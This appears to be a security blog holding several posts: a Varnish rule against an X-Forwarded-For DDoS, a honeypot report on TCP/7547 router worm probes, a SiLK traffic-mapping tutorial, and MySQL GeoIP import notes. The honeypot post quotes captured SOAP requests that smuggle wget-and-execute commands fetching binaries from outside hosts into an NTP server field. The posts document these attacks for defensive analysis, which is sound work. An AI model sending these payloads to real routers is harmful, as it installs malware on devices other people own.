bløgg.no   This space intentionally left populated

A discussion forum of one of Redpill Linpro‘s customers has been under attack lately, through a number of DoS and DDoS variants. Today’s attack strain was of the rather interesting kind, as one of its very distinctive identifiers was a suspicious, not to say ridiculous, amount of IP addresses in the incoming X-Forwarded-For HTTP header. The X-Forwarded-For IP addresses included both IPv4 and IPv6 addresses.

The longest X-F-F header observed contained no less than 20 IP addresses that the HTTP request had allegedly been forwarded through on its way to the forum. If we are to believe the headers, this particular request has been following this route: United States → United States → South Africa → United States → United States → Mexico → Uruguay → China → Germany → United States → United States → South Africa → United States → United States → Mexico → Uruguay → China → Germany → Costa Rica → Norway.

This short animation (click to play) illustrates a few of the the alleged routes:

Whether the HTTP requests have indeed been proxied through all these relays is difficult to confirm. By their reverse DNS lookup, quite a few of the IP addresses identify themselves as proxy servers. Checking a sample of the listed IP addresses did not reveal any open proxies or other kinds of relays, neither were they listed on random open relay blacklists. The HTTP headers included the “Via:” header as well, indicating that the request did pass through some HTTP proxies. But as we know, incoming headers can’t be trusted and should never be treated as if they could.

For the purpose of blocking the DDoS attack, it’s not really interesting whether the intermediate IP addresses are real or just faked. We simply reconfigured Varnish to check each incoming HTTP request for two things:

• Does the X-Forwarded-For header have more than five IP addresses?
• Is the request destined for the forum currently under siege?

All requests matching the above criteria were then efficiently rejected with the well-known, all-purpose 418 I’m a teapot HTTP response. After a minute or two of serving 418 responses, the attack stopped abruptly.

Since yesterday I’ve registered a significant increase in probes for TCP port 7547. Over the last 12 hours, more than 1000 different IP addresses have tried to contact one of my networks. 1000 probes is of course no big deal, but the port that’s suddenly become of interest can be.

The image below shows the newly discovered activity. Click the image to zoom. The probes for TCP/7547 starts to stand out just before 15:00 (Norwegian time zone).

TCP port 7547 has suddenly become interesting.

The probing happens primarily from Brazilian IP addresses. Below is a table of top 10 registered probes after around 12 hours.

552 Brazil
186 United Kingdom
 50 Ireland
 42 Turkey
 34 Iran, Islamic Republic of
 30 Finland
 23 Italy
 21 Chile
 20 Thailand
 10 United States

Update: This looks like yet another router vulnerability. These are the headers captured by directing the traffic to one of my honeypots:

POST /UD/act?1 HTTP/1.1
Host: 127.0.0.1:7547
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1)
SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers
Content-Type: text/xml
Content-Length: 526
<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> 
<SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
  <NewNTPServer1>`cd /tmp;wget http://l.ocalhost.host/2;chmod 777 2;./2`</NewNTPServer1>
  <NewNTPServer2></NewNTPServer2>
  <NewNTPServer3></NewNTPServer3>
  <NewNTPServer4></NewNTPServer4>
  <NewNTPServer5></NewNTPServer5>
 </u:SetNTPServers>
</SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Based on the above, this looks like https://devicereversing.wordpress.com/ and https://www.exploit-db.com/exploits/40740/.

Update 2: Now the worm even cleans up after itself. The newest strain performs three requests; the first two downloads binaries while the third one sets the NTP server back to an IP address:

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
 <NewNTPServer1>`cd /tmp;wget http://tr069.pw/1;chmod 777 1;./1`</NewNTPServer1>
 <NewNTPServer2/>
 <NewNTPServer3/>
 <NewNTPServer4/>
 <NewNTPServer5/>
 </u:SetNTPServers>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
 <NewNTPServer1>`cd /tmp;wget http://tr069.pw/2;chmod 777 2;./2`</NewNTPServer1>
 <NewNTPServer2/>
 <NewNTPServer3/>
 <NewNTPServer4/>
 <NewNTPServer5/>
 </u:SetNTPServers>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

<?xml version="1.0"?>
<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/"
 SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
 <SOAP-ENV:Body>
 <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1">
 <NewNTPServer1>24.56.178.140</NewNTPServer1>
 <NewNTPServer2/>
 <NewNTPServer3/>
 <NewNTPServer4/>
 <NewNTPServer5/>
 </u:SetNTPServers>
 </SOAP-ENV:Body>
</SOAP-ENV:Envelope>

Did you ever wonder where your network traffic goes (and originates from)? With the SiLK suite and optionally some JavaScript map classes it’s quite easy to find out.

SiLK is a tool quite equal to Cisco‘s NetFlow, and SiLK does indeed accept NetFlow output from a router. Just like NetFlow tools, SiLK stores network traffic metadata (like “when” and “where”, but not “what”), so as opposed to capturing the complete network traffic SiLK can store a lot of information over a long time without eating too much disk space. In my setup I’ve configured my Mikrotik router to transmit traffic flow data to a Linux server running SiLK.

With GeoIP mapping, SiLK can identify the country of source and destination IP addresses. Combined with a “top 20” construct, it turned out easier than expected to create a world map like this:

For the map I’ve been using the very useful JavaScript interactive Highchart maps (Highmaps) from the Norwegian company Highsoft. To feed the map with data I wrote a small piece of code that converts the output from SiLK’s rwfilter/rwstats output to JSON, which makes the map dynamically update itself upon refresh.

As shown on the screenshot to the left, when hovering the mouse over each bubble the JavaScript map code will show the percentage value of the traffic associated with the different countries. When identifying traffic from unexpected sources you can use the command line based SiLK tools to drill down in order to find out what’s really going on, like in this case when I was wondering what was being transferred from Switzerland (it turned out to be some Flash movies the kids were watching). In addition to the command line tools there are also GUI and web based interfaces for querying SiLK data. The command used to find the source IP and port for the traffic originating from Switzerland (.ch) is shown below:

# rwfilter --start-date=2015/10/09 --end-date=2015/10/09 \
 --proto=0-255 --type=all --pass=stdout --scc='ch' | rwstats --top \
 --count=5 --fields=sip,sport --value=bytes
INPUT: 327 Records for 19 Bins and 39783096 Total Bytes
OUTPUT: Top 5 Bins by Bytes
          sIP|sPort|               Bytes|    %Bytes|   cumul_%|
80.239.148.37| 1935|            38839614| 97.628435| 97.628435|
  62.48.3.112|   80|              476083|  1.196697| 98.825132|
80.239.148.47| 1935|              402414|  1.011520| 99.836652|
80.239.148.44|   80|               15276|  0.038398| 99.875050|
80.239.148.45|  443|                9328|  0.023447| 99.898497|

There’s a few snags with my setup, but with some tweaking it gives a general idea and I think I’ve handled the corner cases. These are the knows issues – so far:

• This setup is a NATed IPv4 network environment. In order to detect inbound traffic I have to enter my router’s outside address as the destination. This address might change now and again, breaking historical data.
• I’m also running an IPv6 network provided by HE.net (tunnelbroker.net). My allocated IPv6 ranges are consequently registered as physically located in the US, so SiLK will register any internal-only IPv6 network traffic as based in the US, increasing that percentage.

For my own and possibly others’ reference, these are quick notes on how to use GeoIP data from MaxMind in their new split file formats. Older tutorials describe using the GeoIP data from a time when they were one file, it seems now MaxMind have split into two files.

The files are split into Location and Blocks, so we create two tables to accommodate this:

CREATE TABLE location (
 LocId INT(8) NOT NULL,
 PRIMARY KEY (LocId),
 country CHAR(2),
 region VARCHAR(255),
 city VARCHAR(255),
 postalCode VARCHAR(255),
 latitude DECIMAL(20,17),
 longitude DECIMAL(20,17),
 metroCode VARCHAR(50),
 areaCode VARCHAR(50)
) ENGINE=INNODB;
CREATE TABLE blocks (
 startIpNum INT(10) NOT NULL,
 EndIpNum INT(10) NOT NULL,
 LocId INT(8) NOT NULL,
 FOREIGN KEY (LocID) REFERENCES location(LocId) ON DELETE CASCADE ON UPDATE CASCADE
) ENGINE=INNODB;

Now it’s time to import the data from the files. Since LocId is a foreign key to the blocks table, location must be inserted first.

mysql> LOAD DATA LOCAL INFILE '/root/GeoLiteCity_20090601/GeoLiteCity-Location.csv' INTO TABLE location FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' (LocId, country, region, city, postalCode, latitude, longitude, metroCode, areaCode);
Query OK, 248276 rows affected, 13 warnings (9.65 sec)
Records: 248277 Deleted: 0 Skipped: 1 Warnings: 9
mysql> LOAD DATA LOCAL INFILE '/root/GeoLiteCity_20090601/GeoLiteCity-Blocks.csv' INTO TABLE blocks FIELDS TERMINATED BY ',' ENCLOSED BY '"' LINES TERMINATED BY '\n' (startIpNum, EndIpNum, LocId);
Query OK, 4132041 rows affected, 65535 warnings (15 min 20.44 sec)
Records: 4132041 Deleted: 0 Skipped: 0 Warnings: 2739156

That done, we try a select.

mysql> select A.country from location A
  JOIN blocks B on A.LocId = B.LocId
  AND 404232216 >= startIpNum AND 404232216 <= EndIpNum;
+---------+
| country |
+---------+
| US      |
+---------+
1 row in set (2 min 3.58 sec)

As I had no indexes yet, the query took some time. So let’s add them:

mysql> CREATE INDEX startIp_ind ON blocks (startIpNum);
Query OK, 4132041 rows affected (9 min 22.23 sec)
Records: 4132041 Duplicates: 0 Warnings: 0
mysql> CREATE INDEX endIp_ind ON blocks (endIpNum);
Query OK, 4132041 rows affected (9 min 22.33 sec)
Records: 4132041 Duplicates: 0 Warnings: 0
mysql> CREATE INDEX LocId_ind ON location (LocId);
Query OK, 248276 rows affected (4.08 sec)
Records: 248276 Duplicates: 0 Warnings: 0

And voila:

mysql> select A.country from location A
  JOIN blocks B on A.LocId = B.LocId
  AND 404232216 >= startIpNum AND 404232216 <= EndIpNum;
+---------+
| country |
+---------+
| US      |
+---------+
1 row in set (0.55 sec)

Also, a better SQL query could’ve been more efficient, but hey – this is for illustrative purposes.